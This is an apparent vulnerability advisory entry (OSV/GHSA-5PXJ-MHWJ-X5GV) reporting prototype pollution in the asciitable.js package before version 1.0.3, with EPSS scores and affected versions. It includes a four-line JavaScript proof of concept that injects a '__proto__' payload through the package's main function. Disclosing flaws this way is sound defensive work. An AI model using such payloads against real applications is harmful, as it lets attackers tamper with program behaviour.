Lucene search

K
osvGoogleOSV:GHSA-5PXJ-MHWJ-X5GV
HistoryApr 13, 2021 - 3:24 p.m.

Prototype Pollution in asciitable.js

2021-04-1315:24:59
Google
osv.dev
12

0.004 Low

EPSS

Percentile

74.9%

The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.

PoC

var a = require("asciitable.js"); 
var b = JSON.parse('{"__proto__":{"test":123}}'); 
a({},b); 
console.log({}.test)
CPENameOperatorVersion
asciitable.jslt1.0.3

0.004 Low

EPSS

Percentile

74.9%

Related for OSV:GHSA-5PXJ-MHWJ-X5GV